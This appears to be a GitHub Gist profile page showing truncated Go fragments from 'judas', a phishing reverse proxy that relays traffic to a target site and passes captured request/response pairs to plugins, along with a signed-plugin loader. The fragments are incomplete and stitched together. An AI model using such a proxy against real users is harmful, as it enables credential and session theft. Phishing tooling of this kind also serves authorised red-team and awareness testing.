Skip to content

Instantly share code, notes, and snippets.

View JonCooperWorks's full-sized avatar

JonCooperWorks

View GitHub Profile
package main
import (
"fmt"
)
// Hello just prints hello, world to demonstrate the plugin system.
func Hello() {
fmt.Println("Hello, world")
}
// Verify verifies that a byte slice was signed by a given public key.
func Verify(publicKey *ecdsa.PublicKey, signature, data []byte) (bool, error) {
hasher := sha3.New256()
_, err := hasher.Write(data)
if err != nil {
return false, err
}
pluginHash := hasher.Sum(nil)
r := new(big.Int).SetBytes(signature[0:32])
// Open loads a plugin from disk and verifies that its SHA3-256 hash was signed by the expected public key.
// This implementation does not care where the public key or signature come from, allowing callers to load them from disk, a database or a website.
// It is vital that public keys and signatures are loaded securely, otherwise an attacker will be able to circumvent the entire scheme.
func Open(publicKey *ecdsa.PublicKey, signature []byte, pluginPath string) (*plugin.Plugin, error) {
lock := flock.NewFlock(pluginPath)
locked, err := lock.TryLock()
if err != nil {
return nil, err
}
package main
import (
"log"
"net/http/httputil"
"github.com/joncooperworks/judas/plugins"
)
type loggingPlugin struct{}
transactions := make(chan plugins.HTTPTransaction)
// Process all the plugin arguments.
for plugin, arguments := range installedPlugins {
go plugin.ProcessTransactions(transactions, arguments)
}
for {
conn, err := server.Accept()
if err != nil {
func loadPluginsFromDirectory(pluginsDirectory string) (map[plugins.Plugin]plugins.PluginArguments, error) {
pluginFilePaths, err := filepath.Glob(pluginsDirectory)
if err != nil {
return nil, err
}
installedPlugins := map[plugins.Plugin]plugins.PluginArguments{}
for _, filepath := range pluginFilePaths {
plugin, err := plugins.New(filepath)
if err != nil {
// HTTPTransaction represents a complete request - response flow.
type HTTPTransaction struct {
Request http.Request
Response http.Response
}
// PluginArguments is a map[string]interface{} of arguments to be passed to your ProcessTransactions function.
type PluginArguments map[string]interface{}
// Plugin contains functions and variables that Judas will be looking for in your plugin.
target := request.URL
target.Scheme = p.targetURL.Scheme
target.Host = p.targetURL.Host
req, err := http.NewRequest(request.Method, target.String(), request.Body)
if err != nil {
return nil, err
}
for key, _ := range request.Header {
req.Header.Set(key, request.Header.Get(key))
cer, err := tls.LoadX509KeyPair(certPath, privateKeyPath)
if err != nil {
exitWithError("Error loading keypair")
}
config := &tls.Config{Certificates: []tls.Certificate{cer}}
server, err := tls.Listen("tcp", address, config)
if err != nil {
exitWithError("Error starting TLS server")
}
dialer, err := proxy.SOCKS5("tcp", proxyAddress, nil, proxy.Direct)
if err != nil {
exitWithError(err.Error())
}
httpTransport := &http.Transport{}
httpTransport.Dial = dialer.Dial
client.Transport = httpTransport
phishingProxy := &PhishingProxy{
client: client,
targetURL: u,